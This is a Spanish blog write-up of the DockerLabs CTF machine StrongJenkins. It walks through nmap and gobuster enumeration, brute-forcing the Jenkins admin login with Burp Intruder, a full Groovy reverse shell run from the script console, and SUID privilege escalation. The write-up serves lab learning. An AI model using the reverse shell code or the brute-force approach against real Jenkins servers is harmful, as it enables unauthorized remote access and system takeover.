StrongJenkins - DockerLab

StrongJenkins - DockerLab

Resolución de la maquina StrongJenkins de DockerLab

Hola, ¿Vienes por CTF? Aquí lo tienes.

Welcome GIFs | Tenor

Pero antes, gracias al autor de maquina "El pingüino de Mario" y a la comunidad de DockerLabs.es, por hacer esto posible.

Descripción de la maquina.

Sistema OperativoLinux 🐧
DificultadMedio
Lanzamiento14/04/2024
CreadorEl pingüino de Mario

Enumeración

Empecemos con un escaneo a los puertos y servicios de la maquina con nmap, si desea obtener mas información sobre los parámetros en algunos de los comandos que se utilizara mas adelante, puede usar explianshell.com

Bien, solo tenemos un servicio y es un Jenkins.

Bueno un login, pero, uno de los scripts básicos de enumeración de nmap encontró el archivo robots.txt veamos su contenido.

¿Que entre a la ruta build, dice?

Pero nada, solo obtenemos el login, vamos a realizar un fuzzing con gobuster en busca de directorios o archivos.

gobuster dir -u http://172.17.0.2:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,java,txt,css,js,php -t 100 -b 403

Y tenemos como resultado algunas rutas, pero nada de utilidad.

Dicho esto vamos a hacer fuerza bruta contra el login, no tenemos usuarios y mucho menos contraseñas, así que llevara algo de tiempo.

Perooo, jenkins maneja un usuario por defecto, que es "admin" así que iremos a por el.

Fuerza Bruta

golpes gifs | WiffleGif

Bien, para esto vamos interceptar la petición de login con burpsuite para mandarla al intruder, cabe mencionar que este brute force, lo intente con hydra y metasploit pero no tuve el mismo resultado.

Pero continuando con el intruder de burpsuite

Cargamos una lista de contraseñas.

Y por ultimo hacemos un regex de la respuesta, para determinar si las credenciales son validas o no.

En el caso de que las credenciales sean invalidas tendremos esta respuesta, en donde el valor de un header es loginError

Cuando las credenciales sean validas no debería de devolver este valor, si no uno diferente.

Teniendo esto en cuenta utilizaremos este loginError para determinar si las credenciales son validas. Para esto no vamos al intruder->settings->Grep - Extract

En donde marcamos Extract from regex group y seleccionamos el loginError e iniciamos el ataque.

Lionsgate Rambo GIF by Rambo: Last Blood

Y como podemos ver, tenemos una respuesta que que es diferente a nuestra sentencia regex, la cual indica que se obtuvo un resultado la contraseña rockyou... Comprobemos

I Have Become A Coffee Drinker. Good Thing, I May Live Longer Now

En el apartado Administrar Jenkins->Tools and actions, tenemos la consola de scripts

La cual nos permite ejecutar scripts en groovy, que tal si ejecutamos una reverse shell con groovy.

Fuente

String host="172.17.0.2";
int port=8003;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Y aquí lo tenemos.

Escalada de privilegios

Explorando el sistema me tope con un binario, el cual tiene permiso SUID, raro...

Así que... Vamos a gtfobins.

Y en efecto podemos abusar de este para escalar privilegios, así que lo hacemos.

Y ahí lo tiene, eso fue todo. Hasta luego mi estimado!!

Dog Driving a Car GIF


Referencias

  1. albertomarcostic - DockerLabs-WriteUps/Máquina StrongJenkins

Did you find this article valuable?

Support BlackPist0l's Blog by becoming a sponsor. Any amount is appreciated!